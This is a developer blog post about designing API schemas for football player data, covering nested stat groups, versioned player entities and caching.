  • ⚡ Stay ahead in Rust and Go — follow for a fresh article every morning & night.

Your support means the world and helps me create more content you’ll love. ❤️

Designing Schemas for Sports APIs: What I Learned Building Football Player Data Systems

Over the past year I’ve been building football-related tools like:

  • player comparison apps
  • squad builders
  • analytics dashboards
  • stat visualizations

And I kept running into the same issue:

Sports data is messy.

Not because the data itself is complicated — but because modeling it cleanly for developers is surprisingly difficult.

At first, I thought this would be simple:
just fetch player data and expose it through an API.

It turned out to be much more of a schema design problem.

The Problem With Flat Structures

My first approach was a completely flat player object:

{
  name: "Ronaldo",
  overall: 99,
  acceleration: 96,
  top_speed: 99,
  finishing: 99,
  shot_power: 99,
  crossing: 94,
  vision: 92
}

This worked initially, but problems appeared quickly:

  • fields became hard to organize
  • frontend components became repetitive
  • adding new stat categories was painful
  • versioned player cards became messy

The biggest issue:

The schema didn’t scale well as the domain became more complex.

Moving to Nested Structures

Instead, I grouped stats semantically:

{
  shooting: {
    score: 99,
    stats: {
      finishing: 99,
      shot_power: 99
    }
  },

  passing: {
    score: 92,
    stats: {
      vision: 92,
      crossing: 94
    }
  }
}

This ended up improving several things:

Better Frontend Reusability

UI components became predictable.

Instead of hardcoding fields everywhere, I could dynamically render stat groups.

Easier Versioning

Sports games often have multiple versions of the same player:

  • upgrades
  • special editions
  • seasonal variations

Nested structures made it easier to evolve the schema without constantly rewriting consumers.

Cleaner Mental Model

Grouping related attributes reduced cognitive overhead for both backend and frontend code.

The Real Challenge: Versioned Entities

One thing I underestimated was handling multiple versions of the same player cleanly.

For example:

  • base version
  • upgraded version
  • special event version

Initially I tried patching/updating existing records.

Bad idea.

What worked much better was treating each version as its own immutable entity while keeping shared metadata normalized separately.

That made:

  • caching easier
  • querying simpler
  • historical consistency possible

Performance Considerations

Nested structures are slightly more verbose, but in practice the tradeoff was worth it.

Most consumers preferred:

  • predictable schemas
  • semantic grouping
  • easier frontend rendering

I also heavily optimized read performance through caching since sports data queries are extremely repetitive.

Biggest Lesson

The hardest part of sports APIs usually isn’t collecting the data.

It’s designing a schema that:

  • scales cleanly
  • remains predictable
  • handles versioning well
  • stays frontend-friendly

The better your schema design is early on, the less painful everything becomes later.

Curious how others approach API schema design for highly versioned entities or stat-heavy systems.